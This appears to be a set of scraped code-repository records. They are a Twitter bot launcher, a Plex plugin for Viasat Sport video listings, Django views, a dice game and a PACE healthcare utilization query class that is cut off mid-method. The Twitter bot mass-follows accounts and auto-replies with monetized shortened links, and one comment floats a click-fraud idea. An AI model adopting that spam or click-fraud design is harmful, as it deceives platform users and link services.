+{"seq_id":"21089269442","text":"#!/usr/bin/env python3\n# Consider hosting on a Raspberry Pi.\n\"\"\"\nMain Twitter bot script which glues everything together and starts the managers.\n\"\"\"\nimport os\nimport argparse\nfrom urllib import parse\n\n# nltk is only used for downloading relevant files here, but it is used\n# directly in other functions.py\nimport nltk\nnltk.download('stopwords')  # Used for eliminating stopwords.\nnltk.download('punkt')  # Used for tokenizing paragraphs.\n\nfrom twitter import Twitter, OAuth, TwitterStream\n# Useful boilerplate functions for the overall Twitter bot.\nimport chirps.functions as functions\n# Useful classes for streaming and account handling.\nimport chirps.managers as managers\n\n# A different idea - use cookies to visit shortened links via visitors' devices.\n# Maybe we can utilize 'RT to win' stuff by this same script.\n# Use the below link for image search.\n# https://www.google.co.in/search?site=imghp&tbm=isch&source=hp&biw=1280&bih=647&q=sample+query\n# Also post images in replies.\n\nparser = argparse.ArgumentParser()\n# Add choice for replying to celebs or not\n# Add more arguments to choose follows, retweets and more...\nparser.add_argument(\"-r\", \"--rate\", default=60,\n                    help=\"rate at which tweets are sent\", type=int)\nparser.add_argument(\"--fav\", help=\"flag to enable favoriting tweets\",\n                    action=\"store_true\")\nparser.add_argument(\"--retweet\", help=\"flag to enable retweeting\",\n                    action=\"store_true\")\nparser.add_argument(\"--follow\", help=\"flag to enable following people\",\n                    action=\"store_true\")\nparser.add_argument(\"--follow_limit\", help=\"maximum number of people to follow\",\n                    default=4000, type=int)\nparser.add_argument(\"--scrape\", help=\"flag to specify content scraping\",\n                    default=\"\", nargs=\"*\")\nargs = parser.parse_args()\n\ntry:\n    from chirps.credentials import *\nexcept ModuleNotFoundError:\n    ACCESS_TOKEN = os.environ['ACCESS_TOKEN'],\n    ACCESS_SECRET = os.environ['ACCESS_SECRET'],\n    CONSUMER_KEY = os.environ['CONSUMER_KEY'],\n    CONSUMER_SECRET = os.environ['CONSUMER_SECRET']\n\n    SHORTE_ST_TOKEN = os.environ['SHORTE_ST_TOKEN']\n    DATABASE_URL = os.environ[\"DATABASE_URL\"]\n\nurl = parse.urlparse(DATABASE_URL)\n\nOAUTH = OAuth(ACCESS_TOKEN, ACCESS_SECRET, CONSUMER_KEY, CONSUMER_SECRET)\nACCOUNT_HANDLER = Twitter(auth=OAUTH)\nUPLOAD_HANDLER = Twitter(auth=OAUTH, domain=\"upload.twitter.com\")\nSTREAM_HANDLER = TwitterStream(auth=OAUTH)\nADMIN_HANDLER = TwitterStream(auth=OAUTH)\n\n\ndef main():\n    \"\"\"Main function to handle different activites of the account.\"\"\"\n    # For tracking people.\n    streamer = managers.StreamThread(\"Streamer\",\n                                     STREAM_HANDLER, ACCOUNT_HANDLER, url,\n                                     functions.reply_with_shortened_url)\n    # For retweets, likes, follows.\n    account_manager = managers.AccountThread(ACCOUNT_HANDLER, UPLOAD_HANDLER,\n                                             url, args.rate, args.fav,\n                                             args.retweet, args.follow,\n                                             args.follow_limit, args.scrape)\n    admin = managers.StreamThread(\n        \"Admin\", ADMIN_HANDLER, ACCESS_SECRET, url, functions.admin_action)\n    streamer.start()\n    account_manager.start()\n    admin.start()\n    for thread in [streamer, account_manager, admin]:\n        thread.join()\n\n\n# Execute the main() function only if script is executed directly.\nif __name__ == \"__main__\":\n    print(\"Starting the bot...\")\n    main()\n","repo_name":"schedutron/chirps","sub_path":"chirps/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3542,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"21"}
+{"seq_id":"1833951026","text":"TITLE  = 'Viasat Sport'\nPREFIX = '/video/viasatsport'\n\nART  = R('art-default.jpg')\nICON = R('icon-default.png')\n\nBASE_URL = 'http://www.viasatsport.se'\n\nHTTP_USER_AGENT = \"Mozilla/5.0 (iPad; CPU OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B410 Safari/600.1.4\"\n\n####################################################################################################\ndef Start():\n    # Set the default ObjectContainer attributes\n    ObjectContainer.title1 = TITLE\n    ObjectContainer.art    = ART\n    \n    DirectoryObject.thumb = ICON\n\n    # Set the default cache time\n    HTTP.CacheTime             = CACHE_1HOUR\n    HTTP.Headers['User-agent'] = HTTP_USER_AGENT\n\n####################################################################################################\n@handler(PREFIX, TITLE, art = ART, thumb = ICON)\ndef MainMenu():\n    oc = ObjectContainer()\n    \n    element = HTML.ElementFromURL(BASE_URL + '/videoklipp/')\n    \n    for item in element.xpath(\"//*[contains(@class,'videos-grid-module')]\"):\n        id = item.xpath(\"./@id\")[0]\n        title = unicode(item.xpath(\".//header/h2/text()\")[0].strip())\n        \n        oc.add(\n            DirectoryObject(\n                key =\n                    Callback(\n                        Videos,\n                        id = id,\n                        title = title\n                    ),\n                title = title\n            )\n        )\n        \n    oc.add(\n        DirectoryObject(\n            key = Callback(Live),\n            title = 'Live'\n        )\n    )\n    \n    return oc\n\n####################################################################################################\n@route(PREFIX + '/Live')\ndef Live():\n    oc = ObjectContainer(title2 = 'Live')\n    \n    element = HTML.ElementFromURL(BASE_URL + '/live/')\n    \n    for item in element.xpath(\"//*[contains(@class,'live-item-container')]//a\"):\n        url = item.xpath(\"./@href\")[0]\n        title = unicode(item.xpath(\".//h4/text()\")[0].strip())\n        \n        time_info = item.xpath(\".//time/text()\")[0].strip()\n        time_info = time_info + \" \" + item.xpath(\".//time/span/text()\")[0].strip()\n        summary = time_info + '\\r\\n\\r\\n' + unicode(item.xpath(\".//*[@class='label']/text()\")[0].strip())\n        \n        oc.add(\n            DirectoryObject(\n                key =\n                    Callback(\n                        Video,\n                        url = url,\n                        title = title,\n                        time_info = time_info\n                    ),\n                title = title,\n                summary = summary\n            )\n        )\n        \n    return oc\n\n####################################################################################################\n@route(PREFIX + '/Videos')\ndef Videos(id, title):\n    oc = ObjectContainer(title2 = unicode(title))\n    \n    element = HTML.ElementFromURL(BASE_URL + '/videoklipp/')\n    \n    for item in element.xpath(\"//*[@id='\" + id + \"']//*[contains(@class,'num-')]\"):\n        url = item.xpath(\"./@href\")[0]\n        title = unicode(item.xpath(\".//*[@class='label']/text()\")[0].strip())\n        summary = unicode(item.xpath(\".//h4/text()\")[0].strip())\n        thumb = item.xpath(\".//img/@src\")[0]\n        \n        oc.add(\n            DirectoryObject(\n                key =\n                    Callback(\n                        Video,\n                        url = url,\n                        title = title\n                    ),\n                title = title,\n                summary = summary,\n                thumb = thumb\n            )\n        )\n    \n    return oc\n\n####################################################################################################\n@route(PREFIX + '/Video')\ndef Video(url, title, time_info=''):\n    oc = ObjectContainer(title2 = unicode(title))\n    \n    element = HTML.ElementFromURL(url)\n    \n    playerKey = element.xpath(\"//param[@name='playerKey']/@value\")[0]\n    videoPlayer = element.xpath(\"//param[@name='@videoPlayer']/@value\")[0]\n\n    video_url = 'http://c.brightcove.com/services/viewer/htmlFederated?playerKey=%s&dynamicStreaming=true&%%40videoPlayer=%s&refURL=http://www.viasatsport.se/videoklipp/' % (playerKey, videoPlayer)\n\n    try:\n        mdo = URLService.MetadataObjectForURL(video_url)\n        mo = URLService.MediaObjectsForURL(video_url)\n    \n        oc.add(\n            VideoClipObject(\n                url = video_url,\n                title = mdo.title,\n                summary = mdo.summary,\n                thumb = mdo.thumb,\n                originally_available_at = mdo.originally_available_at,\n                duration = mdo.duration\n            )\n        )\n    except:\n        if '/live/' in url:\n            oc.header = unicode(\"Sändningen har ej påbörjats\")\n            oc.message = unicode(\"Sändningen startar \" + time_info)\n        else:\n            oc.header = unicode(\"Kunde ej hitta någon video\")\n            oc.message = unicode(\"Var god försök igen\")\n    \n    return oc","repo_name":"meriko/ViasatSport.bundle","sub_path":"Contents/Code/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4991,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"28137362730","text":"from django.shortcuts import render\nfrom adminpage.models import Dokumentasi\n\ndef index(request):\n    data = Dokumentasi.objects.all().order_by('-id')\n    context = {\n        'data' : data,\n    }\n    return render(request,'dokumentasi/index.html',context)\n\ndef detail(request,slugInput):\n    data=Dokumentasi.objects.get(slug=slugInput)\n    context = {\n        'data' : data,\n    }\n\n    return render (request,'dokumentasi/detail.html',context)","repo_name":"brilianpmw/citizen-infomartion-system-with-django-1.11-LTS","sub_path":"dokumentasi/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"6671878276","text":"import random\nimport time\nfrom random import randint\n\n\n# picks dice from the \"dices\" list\ndef pick_dices():\n\n    chosen_dice = random.randint(0, len(dices) - 1)\n    chosen_dice_color = (dices[chosen_dice])\n    return chosen_dice_color\n\n\n# this function has all the sides for the different colors of dice\ndef generate_sides(chosen_dice_color):\n    if chosen_dice_color == \"yellow\":\n        return [\n            'treasure',\n            'treasure',\n            'empty',\n            'empty',\n            'trap',\n            'trap'\n        ]\n    elif chosen_dice_color == \"green\":\n        return [\n            'treasure',\n            'treasure',\n            'empty',\n            'empty',\n            'treasure',\n            'trap'\n        ]\n    else:\n        return [\n            'treasure',\n            'trap',\n            'empty',\n            'empty',\n            'trap',\n            'trap'\n        ]\n\n\n# here the score or trap counter adds depending on the dice face\ndef roll_dice(side):\n    score = 0\n    traps = 0\n    if side == \"treasure\":\n        score += 1\n    elif side == \"empty\":\n        score += 0\n    elif side == \"trap\":\n        traps += 1\n\n    return [score, traps]\n\n\n# removes dice from the \"dices\" list after every roll\ndef generate_dice(num_dice):\n    dice = []\n    generated = 0\n    while generated < num_dice:\n        index = random.randint(0, len(dices) - 1)\n        dice.append(dices[index])\n        del dices[index]\n        generated = generated + 1\n    return dice\n\n\ndef roll_user_dices(user_dices):\n    traps = 0\n    score = 0\n    print(f\"You got: {user_dices}\\n\")\n    for dice in user_dices:\n        time.sleep(1)\n        current_dice = generate_sides(dice)\n        print(f\"Rolling {dice} dice...\")\n        random_side = random.randint(0, 5)\n        rolled_dice = roll_dice(current_dice[random_side])\n        score += rolled_dice[0]\n        traps += rolled_dice[1]\n        time.sleep(1)\n        if current_dice[random_side] == \"trap\":\n            print(\"Oh no! It was a trap\\n\")\n        elif current_dice[random_side] == \"treasure\":\n            print(\"You found a treasure of gold!\\n\")\n        elif current_dice[random_side] == \"empty\":\n            print(\"This chest is empty\\n\")\n    return [score, traps]\n\n\n# the main function that plays the game\ndef play_game():\n    score = 0\n    traps = 0\n    while play_game:\n        roll = input(\"You have entered the tomb and in front of you are two \"\n                     \"chests do you want to open them (y/n) \\n\").lower()\n        if roll == \"n\":\n            print(f\"Hmmm, that was disapointing... \"\n                  f\"Thanks for having a look {player}\")\n            break\n        elif roll == \"y\":\n            break\n        else:\n            print(f\"Please only enter y or n. You entered '{roll}'\")\n\n    while roll == \"y\" and traps < 3:\n        num_dice = 2\n        user_dices = generate_dice(num_dice)\n        result = roll_user_dices(user_dices)\n        score += result[0]\n        traps += result[1]\n        time.sleep(1)\n        print(f\"Dice Left: {dices}\\n\")\n        print(f\"Total Treasures Collected: {score} \\\n        Total Traps Triggered: {traps}\")\n        if dices == []:\n            print(\"No more rooms to explore in this tomb! \"\n                  f\"you leave alive with {score} treasure\"\n                  f\"\\nWell done {player}!\")\n            break\n        if traps > 2:\n            print(f\"\\nGreedy greedy... Now you may never leave\"\n                  f\" the tomb of {player}\")\n            break\n        while play_game:\n            roll = input(\"Do you dare to continue further?(y/n) \\n\").lower()\n            if roll == \"n\":\n                print(f\"\\nWise or foolish, who knows. \"\n                      \"You leave in one piece with\"\n                      f\" {score} treasure \\nWell done {player}!\")\n                break\n            elif roll == \"y\":\n                print(f\"\\nVery well {player}, courage or folly, lets see...\")\n                break\n            else:\n                print(f\"Please only enter y or n. You entered '{roll}'\")\n\n\n# resets the dice list to starting set\ndef reset_game():\n    return [\n        \"yellow\",\n        \"yellow\",\n        \"yellow\",\n        \"green\",\n        \"green\",\n        \"green\",\n        \"green\",\n        \"green\",\n        \"green\",\n        \"red\",\n        \"red\",\n        \"red\"\n    ]\n\n\n# welcome message that can be called when starting new game\ndef welcome_message():\n    print(\"Welcome to Treasure Dice! \\n\")\n    time.sleep(0.5)\n    print(\"Explore the old tomb and roll dice to go further in at every \"\n          \"treasure room. There are 12 dice, and at each room you must roll 2 \"\n          \"to continue. Or stop and cash out. Green dice have few traps \"\n          \"and lots of treasures but the red are the opposite! Yellow \"\n          \"dice are balanced between the two.\")\n    time.sleep(0.5)\n    print(\"If you trigger 3 traps the game is over! So be careful... \\n\")\n    time.sleep(0.5)\n\n\nif __name__ == \"__main__\":\n\n    # the list of available dice of each color\n    dices = [\n        \"yellow\",\n        \"yellow\",\n        \"yellow\",\n        \"green\",\n        \"green\",\n        \"green\",\n        \"green\",\n        \"green\",\n        \"green\",\n        \"red\",\n        \"red\",\n        \"red\"\n    ]\n\n    welcome_message()\n    while True:\n        player = input(\"What is your name, brave adventurer? \\n\")\n        if player == \"\":\n            print(\"You must enter a name to searh for treasure\")\n        elif player == \" \":\n            print(\"You must enter a name to searh for treasure\")\n        else:\n            break\n    print(f\"Greetings {player}! Get ready to search for treasures!\\n\")\n    play_game()\n    # play again loop to play again\n    while play_game:\n        play_again = input(\"Do you want to play again? (y/n): \")\n        if play_again == \"n\":\n            break\n        elif play_again == \"y\":\n            dices = reset_game()\n            welcome_message()\n            play_game()\n        else:\n            print(f\"Please only enter y or n.\")\n","repo_name":"PjHurtig/project-three","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":5964,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"4958200241","text":"import pandas as pd\nfrom paceutils.helpers import Helpers\nfrom paceutils.enrollment import Enrollment\n\n\nclass Utilization(Helpers):\n    \"\"\"This is a class for running utilization related\n    functions on the database\n\n    Attributes:\n        db_filepath (str): path for the database\n    \"\"\"\n\n    def admissions_count(self, params, utilization_table=\"acute\"):\n        \"\"\"\n        Count of admissions with an admission_date in the period.\n\n        Args:\n            params (tuple): start date and end date in format 'YYYY-MM-DD'\n            utilization_table(str): table in database to use as utilization\n\n        Returns:\n            int: admissions\n        \"\"\"\n        query = f\"\"\"\n        SELECT count(*) from {utilization_table}\n        WHERE admission_date BETWEEN ? and ?;\n        \"\"\"\n\n        return self.single_value_query(query, params)\n\n    def discharges_count(self, params, utilization_table=\"acute\"):\n        \"\"\"\n        Count of admissions with a discharge_date in the period.\n\n        Args:\n            params (tuple): start date and end date in format 'YYYY-MM-DD'\n            utilization_table(str): table in database to use as utilization\n\n        Returns:\n            int: discharges\n        \"\"\"\n        query = f\"\"\"\n        SELECT count(*) from {utilization_table}\n        WHERE discharge_date BETWEEN ? and ?;\n        \"\"\"\n\n        return self.single_value_query(query, params)\n\n    def alos(self, params, utilization_table=\"acute\"):\n        \"\"\"\n        Average los (length of stay) for admissions with a discharge_date in the period.\n\n        Args:\n            params (tuple): start date and end date in format 'YYYY-MM-DD'\n            utilization_table(str): table in database to use as utilization\n\n        Returns:\n            float: average length of stay\n        \"\"\"\n        query = f\"\"\"\n        SELECT ROUND(AVG(los), 2) from {utilization_table}\n        WHERE discharge_date BETWEEN ? and ?;\n        \"\"\"\n        return self.single_value_query(query, params)\n\n    def er_to_inp_rate(self, params):\n        \"\"\"\n        Sum of the er column from the acute view divided by the sum of\n        that value and the count of er_only admissions during the period.\n\n        Args:\n            params (tuple): start date and end date in format 'YYYY-MM-DD'\n\n        Returns:\n            float: rate of ER visit that become inpatient admissions\n        \"\"\"\n        admit_query = \"\"\"\n        SELECT SUM(acute.er)\n        FROM acute\n        WHERE admission_date BETWEEN ? AND ?;\n        \"\"\"\n        er_query = \"\"\"\n        SELECT COUNT(er_only.admission_date)\n        FROM er_only\n        WHERE admission_date BETWEEN ? AND ?;\n        \"\"\"\n\n        admitted_from_er = self.single_value_query(admit_query, params)\n        total_er = admitted_from_er + self.single_value_query(er_query, params)\n        if total_er == 0:\n            return 0\n        return round(admitted_from_er / total_er, 2)\n\n    def alos_for_er_admissions(self, params):\n        \"\"\"\n        Average los for admissions in the acute with an \n        er value of 1 and an admission_date during the period.\n\n        Args:\n            params (tuple): start date and end date in format 'YYYY-MM-DD'\n\n        Returns:\n            float: average length of stay for ER visits that become inpatient admissions\n        \"\"\"\n        query = \"\"\"\n        SELECT ROUND(AVG(los), 2)\n        FROM acute\n        WHERE er = 1\n        AND admission_date BETWEEN ? AND ?;\n        \"\"\"\n\n        return self.single_value_query(query, params)\n\n    def los_per_100mm(self, params, utilization_table=\"acute\"):\n        \"\"\"\n        Sum of los for admissions with an admission_date during the period\n        divided by the sum of the first of the month census for \n        each month during the period multiplied by 100.\n\n        Args:\n            params (tuple): start date and end date in format 'YYYY-MM-DD'\n            utilization_table(str): table in database to use as utilization\n\n        Returns:\n            float: length of stay per 100 member months\n        \"\"\"\n        query = f\"\"\"SELECT ROUND(SUM(total_los)*100.0/SUM(census), 2) as rate\n        FROM\n        (SELECT total as census, month,\n        strftime(\"%Y-%m\", month) as month_year\n        FROM monthly_census) as month_year_census\n        LEFT JOIN\n        (\n        SELECT SUM({utilization_table}.los) as total_los,\n        strftime(\"%Y-%m\", admission_date) as month_year\n        FROM {utilization_table}\n        GROUP BY month_year\n        ) as monthly_los\n        ON month_year_census.month_year = monthly_los.month_year\n        WHERE month BETWEEN ? AND ?;\"\"\"\n\n        return self.single_value_query(query, params)\n\n    def readmits_30day(self, params, utilization_table=\"acute\"):\n        \"\"\"\n        Count of admissions during the period with a day_since_last_admission value below 30.\n\n        Args:\n            params (tuple): start date and end date in format 'YYYY-MM-DD'\n            utilization_table(str): table in database to use as utilization\n\n        Returns:\n            int: 30-day readmissions\n        \"\"\"\n        query = f\"\"\"SELECT COUNT(*)\n        FROM {utilization_table}\n        WHERE admission_date BETWEEN ? AND ?\n        AND days_since_last_admission <= 30;\n        \"\"\"\n\n        return self.single_value_query(query, params)\n\n    def readmits_30day_rate(self, params, utilization_table=\"acute\"):\n        \"\"\"\n        Count of admissions during the period with a day_since_last_admission value below 30\n        divided by all admissions in period\n\n        Args:\n            params (tuple): start date and end date in format 'YYYY-MM-DD'\n            utilization_table(str): table in database to use as utilization\n\n        Returns:\n            int: 30-day readmission rate\n        \"\"\"\n        try:\n            rate = self.readmits_30day(\n                params, utilization_table\n            ) / self.admissions_count(params, utilization_table)\n            return round(rate, 2)\n        except ZeroDivisionError:\n            return 0\n\n    def ppts_in_utl(self, params, utilization_table):\n        \"\"\"\n        Count of admissions with a discharge date that is null or\n        greater than the start date and an admission_date less than the end date.\n\n        Args:\n            params (tuple): start date and end date in format 'YYYY-MM-DD'\n            utilization_table(str): table in database to use as utilization\n\n        Returns:\n            int: number of ppts in the utilization type\n        \"\"\"\n        query = f\"\"\"SELECT COUNT(*)\n        FROM {utilization_table}\n        WHERE (discharge_date >= ?\n            OR discharge_date IS NULL)\n        AND admission_date <= ?;\"\"\"\n\n        return self.single_value_query(query, params)\n\n    def ppts_in_utl_per_100MM(self, params, utilization_table):\n        \"\"\"\n        Count of admissions with a discharge date that is null or\n        greater than the start date and an admission_date less than the end date\n        divided by the member months in the period multiplied by 100\n\n        Args:\n            params (tuple): start date and end date in format 'YYYY-MM-DD'\n            utilization_table(str): table in database to use as utilization\n\n        Returns:\n            int: number of ppts in the utilization type per 100 member months\n        \"\"\"\n        e = Enrollment(self.db_filepath)\n        return round(\n            self.ppts_in_utl(params, utilization_table) / e.member_months(params) * 100,\n            2,\n        )\n\n    def ppts_in_utl_percent(self, params, utilization_table):\n        \"\"\"\n        Count of admissions with a discharge date that is null or\n        greater than the start date and an admission_date less than the end date\n        divided by the census in the period multiplied by 100\n\n        Args:\n            params (tuple): start date and end date in format 'YYYY-MM-DD'\n            utilization_table(str): table in database to use as utilization\n\n        Returns:\n            int: percent of enrolled ppts in the utilization type\n        \"\"\"\n        e = Enrollment(self.db_filepath)\n        return round(\n            self.ppts_in_utl(params, utilization_table)\n            / e.census_during_period(params)\n            * 100,\n            2,\n        )\n\n    def utilization_indicator_count(\n        self,\n        params,\n        filter_col,\n        utilization_table=\"acute\",\n        total=False,\n        per_member=False,\n    ):\n        \"\"\"\n        Percent or total admissions with a 1 in a binary indicator column\n\n        Args:\n            params (tuple): start date and end date in format 'YYYY-MM-DD'\n            filter_col: column to look for a 1\n            utilization_table(str): table in database to use as utilization\n            total(bool): If True returns total admissions, else returns percent\n            of admissions or per 100 member month rate with related 1.\n            per_member(bool): if True return 100 member month rate\n\n        Returns:\n            int/float: count, percent of admissions, or 100 member rate for\n                admissions with filter_col value of 1\n        \"\"\"\n        query = f\"\"\"SELECT COUNT(*)\n        FROM {utilization_table}\n        WHERE admission_date BETWEEN ? AND ?\n        AND {filter_col} = 1;\"\"\"\n        if total:\n            return self.single_value_query(query, params)\n\n        if per_member:\n            query = f\"\"\"SELECT COUNT(filter_count*100.0/census, 2) as rate\n            FROM\n            (SELECT total as census, month,\n            strftime(\"%Y-%m\", month) as month_year\n            FROM monthly_census) as month_year_census\n            LEFT JOIN\n            (\n                SELECT COUNT({utilization_table}.admission_date) as filter_count,\n                strftime(\"%Y-%m\", admission_date) as month_year\n                FROM {utilization_table}\n                GROUP BY month_year\n            ) as monthly_admissions_filtered\n            ON month_year_census.month_year = monthly_admissions_filtered.month_year\n            WHERE month BETWEEN ? AND ?\n            AND {filter_col} = 'Yes';\n            \"\"\"\n            return self.single_value_query(query, params)\n        admissions = self.admissions_count(params, utilization_table)\n\n        if admissions == 0:\n            return 0\n\n        return round(self.single_value_query(query, params) / admissions, 2)\n\n    def check_for_admission_30days_before_death(self, member_id, deceased_date):\n        \"\"\"\n        Checks for an admission with a discharge date between the \n        decease_date and the date 30 days prior,\n        returns 1 if an admission exists, 0 otherwise.\n\n        Args:\n            member_id(int): member_id of ppts\n            deceased_date(str): date of YYYY-MM-DD that the ppts died\n\n        Returns:\n            int: return 1 if the ppt had an admission discharge within 30 days of death\n        \"\"\"\n        had_admission_query = \"\"\"SELECT CASE WHEN EXISTS (\n        SELECT *\n        FROM acute\n        WHERE member_id = ?\n        AND discharge_date BETWEEN ? and ?\n        )\n        THEN CAST(1 AS BIT)\n        ELSE CAST(0 AS BIT)\n        END\"\"\"\n\n        thirty_prior = pd.to_datetime(deceased_date) - pd.Timedelta(\"30 days\")\n        within_30_params = [member_id, thirty_prior.strftime(\"%Y-%m-%d\"), deceased_date]\n\n        return self.single_value_query(had_admission_query, within_30_params)\n\n    def get_icd_10_desc(self, dx, icd10):\n        \"\"\"\n        Looks up an ICD10 code and returns the description\n\n        Args:\n            dx(float): ICD10 code\n            icd10(DataFrame): icd10 dataframe\n\n        Returns:\n            str: ICD10 description\n        \"\"\"\n        if dx is not None:\n            try:\n                desc = icd10[icd10.ICD10 == str(dx).replace(\".\", \"\")][\"Desc\"].values[0]\n                return desc\n            except IndexError:\n                return \"None\"\n        else:\n            return \"None\"\n\n    def create_dx_desc_cols(\n        self, df, dx_cols=None, icd10_path=\"C:\\\\Users\\\\snelson\\\\data\\\\icd10.csv\"\n    ):\n\n        \"\"\"\n        Looks up an ICD10 code and returns the description\n\n        ###TO DO: may move ICD10 csv to the database\n        Args:\n            df(DataFrame): DataFrame with ICD10 columns that need to be parsed\n            icd10_path(str): path to ICD10 code to description file\n\n        Returns:\n            df(DataFrame): original dataframe with added description columns\n        \"\"\"\n        icd10 = pd.read_csv(icd10_path)\n        if dx_cols is None:\n            dx_cols = [\n                \"diag_code1\",\n                \"diag_code2\",\n                \"diag_code3\",\n                \"diag_code4\",\n                \"principle_diag\",\n                \"diagnosis68\",\n                \"diagnosis69\",\n                \"diagnosis70\",\n                \"diagnosis71\",\n                \"diagnosis72\",\n                \"diagnosis73\",\n                \"diagnosis74\",\n                \"diagnosis75\",\n                \"principal_dx\",\n                \"admitting_dx\",\n            ]\n\n        df_dx_cols = [col for col in df.columns if col in dx_cols]\n\n        for col in df_dx_cols:\n            df[f\"{col}_desc\"] = df[col].apply(self.get_icd_10_desc, icd10=icd10)\n        return df\n\n    def utilization_related_to_condition(self, params, condition, condition_abr=None):\n        \"\"\"\n        Searches through the acute, er_only, admitting_claims, and claims_detail tables\n        for any dx where the condition or condition_abr appear. Returns a pandas dataframe.\n        \n        Args:\n            params(tuple): start date and end date in format 'YYYY-MM-DD'\n            condition(str): full string of condition ie; Congestive heart failure \n            condition_abr(str): abbreviation that is used for condition ie; CHF\n\n        Returns:\n            DataFrame: dataframe of all admissions with a related dx\n        \"\"\"\n        params = list(params) * 3\n        acute_query = \"\"\"SELECT a.*, ppts.first, ppts.last,\n        ac.principal_dx, ac.admitting_dx, cd.diag_code1, cd.diag_code2,\n        cd.diag_code3, cd.diag_code4, cd.principle_diag, cd.diagnosis68,\n        cd.diagnosis69, cd.diagnosis70, cd.diagnosis71, cd.diagnosis72,\n        cd.diagnosis73, cd.diagnosis74, cd.diagnosis75\n        FROM acute a\n        LEFT JOIN admission_claims ac ON a.member_id = ac.member_id\n        JOIN claims_detail cd ON ac.claim_id = cd.claim_id\n        JOIN ppts ON cd.member_id = ppts.member_id\n        WHERE admission_date BETWEEN ? AND ?\n        AND ac.first_service_date BETWEEN ? AND ?\n        AND cd.first_dos BETWEEN ? AND ?;\"\"\"\n\n        acute_df = self.dataframe_query(acute_query, params)\n        acute_df = self.create_dx_desc_cols(acute_df)\n\n        dx_related_acute = acute_df[\n            acute_df.apply(\n                lambda row: row.astype(str)\n                .str.lower()\n                .str.contains(condition.lower())\n                .any(),\n                axis=1,\n            )\n        ].copy()\n\n        dx_related_acute[\"visit_type\"] = \"inpatient\"\n\n        er_query = \"\"\"SELECT er.*, ppts.first, ppts.last,\n        ac.principal_dx, ac.admitting_dx, cd.diag_code1, cd.diag_code2,\n        cd.diag_code3, cd.diag_code4, cd.principle_diag, cd.diagnosis68,\n        cd.diagnosis69, cd.diagnosis70, cd.diagnosis71, cd.diagnosis72,\n        cd.diagnosis73, cd.diagnosis74, cd.diagnosis75\n        FROM er_only er\n        LEFT JOIN admission_claims ac ON er.member_id = ac.member_id\n        JOIN claims_detail cd ON ac.claim_id = cd.claim_id\n        JOIN ppts ON cd.member_id = ppts.member_id\n        WHERE admission_date BETWEEN ? AND ?\n        AND ac.first_service_date BETWEEN ? AND ?\n        AND cd.first_dos BETWEEN ? AND ?;\"\"\"\n\n        er_df = self.dataframe_query(er_query, params)\n        er_df = self.create_dx_desc_cols(er_df)\n\n        dx_related_er = er_df[\n            er_df.apply(\n                lambda row: row.astype(str)\n                .str.lower()\n                .str.contains(condition.lower())\n                .any(),\n                axis=1,\n            )\n        ].copy()\n\n        dx_related_er[\"visit_type\"] = \"er_only\"\n\n        dx_related_utl = dx_related_acute.append(dx_related_er, sort=False)\n\n        if condition_abr is not None:\n            dx_abr_acute = acute_df[\n                acute_df.apply(\n                    lambda row: row.astype(str)\n                    .str.lower()\n                    .str.contains(condition_abr.lower())\n                    .any(),\n                    axis=1,\n                )\n            ].copy()\n\n            dx_abr_acute[\"visit_type\"] = \"inpatient\"\n\n            dx_abr_er = er_df[\n                er_df.apply(\n                    lambda row: row.astype(str)\n                    .str.lower()\n                    .str.contains(condition_abr.lower())\n                    .any(),\n                    axis=1,\n                )\n            ].copy()\n            dx_abr_er[\"visit_type\"] = \"er_only\"\n\n            dx_related_utl = dx_related_utl.append(dx_abr_acute, sort=False).append(\n                dx_abr_er, sort=False\n            )\n\n            dx_related_utl.reset_index(drop=True, inplace=True)\n\n        dx_related_utl.drop_duplicates(inplace=True)\n\n        return dx_related_utl\n\n    def los_over_x_df(self, params, x, utilization_table):\n        \"\"\"\n        Finds admissions with a discharge_date during the period and a los values above the provided *x*.\n        \n        Args:\n            params(tuple): start date and end date in format 'YYYY-MM-DD'\n            x(int): LOS the stay must be as long or longer than\n            utilization_table(str): table in database to use as utilization\n\n        Returns:\n            DataFrame: dataframe of all admissions with a LOS over x\n        \"\"\"\n        params = list(params) + [x]\n\n        query = f\"\"\"\n        SELECT * FROM {utilization_table}\n        WHERE (discharge_date >= ? OR discharge_date IS NULL)\n        AND admission_date <= ?\n        AND los >= ?;\n        \"\"\"\n\n        return self.dataframe_query(query, params)\n\n    def los_over_x_count(self, params, x, utilization_table):\n        \"\"\"\n        Finds and counts admissions with a discharge_date during the\n        period and a los values above the provided *x*.\n        \n        Args:\n            params(tuple): start date and end date in format 'YYYY-MM-DD'\n            x(int): LOS the stay must be as long or longer than\n            utilization_table(str): table in database to use as utilization\n\n        Returns:\n            int: number admissions with a LOS over x\n        \"\"\"\n        params = list(params) + [x]\n\n        query = f\"\"\"\n        SELECT COUNT(*) FROM {utilization_table}\n        WHERE discharge_date BETWEEN ? AND ?\n        AND los >= ?;\n        \"\"\"\n\n        return self.single_value_query(query, params)\n\n    def days_over_x_df(self, params, x, utilization_table):\n        \"\"\"\n        Days are calculated by subtracting the admission date from either the\n        discharge date or the end date. \n        This function then returns the admissions during the period with days above *x*.\n\n        Args:\n            params(tuple): start date and end date in format 'YYYY-MM-DD'\n            x(int): number of days the stay must be as long or longer than\n            utilization_table(str): table in database to use as utilization\n\n        Returns:\n            DataFrame: dataframe of all admissions with a number of days in period over x\n        \"\"\"\n        params = [params[1]] + list(params) + [x]\n\n        query = f\"\"\"\n        SELECT member_id, admission_date, discharge_date, facility,\n        ifnull(julianday(discharge_date), julianday(?)) - julianday(admission_date) as days\n        FROM {utilization_table}\n        WHERE (discharge_date >= ?\n        OR discharge_date IS NULL)\n        AND admission_date <= ?\n        AND days >= ?\n        \"\"\"\n\n        return self.dataframe_query(query, params)\n\n    def utilization_days(self, params, utilization_table):\n        \"\"\"\n        First the days for admissions that occur during the params is calculated.\n        Next the days for admissions occurring before the period are calculated using\n        the start date of the period as the admissions 